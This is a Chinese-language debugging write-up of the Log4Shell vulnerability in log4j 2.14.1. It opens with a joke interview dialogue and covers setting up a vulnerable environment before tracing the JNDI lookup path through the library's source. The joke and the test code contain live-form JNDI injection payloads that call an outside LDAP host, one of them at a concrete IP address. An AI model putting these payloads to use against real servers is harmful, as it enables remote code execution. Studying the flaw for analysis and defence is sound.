明天安全圈校招面试: 面试官: 请说说你会什么技能? 我: ${jndi:ldap://xxx.dnslog.cn/exp} 面试官: 请说说你最近关注过的漏洞? 我: ${jndi:ldap://xxx.dnslog.cn/exp} 面试官: 你平时有动手调试过吗? 我: ${jndi:ldap://xxx.dnslog.cn/exp} 我:这dnslog是不是卡了 这面试官怎么还没rce

环境搭建

新建maven项目, pom.xml写入

    <dependencies>
        <dependency>
            <groupId>org.apache.logging.log4j</groupId>
            <artifactId>log4j-api</artifactId>
            <version>2.14.1</version>
        </dependency>
    </dependencies>
  1. 在官网 https://archive.apache.org/dist/logging/log4j/ 下载log4j然后在project structure中导入

  1. 下载低版本java8 https://repo.huaweicloud.com/java/jdk/ 我下载的是8u181,将其作为java运行环境

写测试代码

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class Main {
    private static final Logger logger = LogManager.getLogger();
    public static void main(String[] args){
        logger.error("${jndi:ldap://39.105.176.37:1389/smzifq}");
    }
}

漏洞调试

调试进入

image-20211211152434057

调试到 image-20211211152611862

然后调试到MessagePatternConverter#format方法, 看到这里会试图匹配${字符.并将payload字符串解析到变量value中去.

image-20211211152039629

步进replace函数, 再步进substitute函数 image-20211211152218136

进入下一个substitute中会看到它会匹配结尾的}

再往下就可以看到resolveVariable方法被调用, 里面调用了lookup方法

image-20211211152245317

lookup方法中,会试图寻找:,并将:前面的部分作为prefix, 随后根据prefix来寻找类

可以看到这里规定了不同的prefix对应的类

image-20211211150105597

使用的Jndi,所以使用的是JndiLookup类,调用了JndiLookup#lookup方法,并将:后面的部分作为参数传入.

image-20211211150131696

最后调用到了javax.naming.InitialContext#lookup方法,server端收到请求

漏洞利用

普通的jndi注入就可以了

参考

https://www.anquanke.com/post/id/262668#h3-5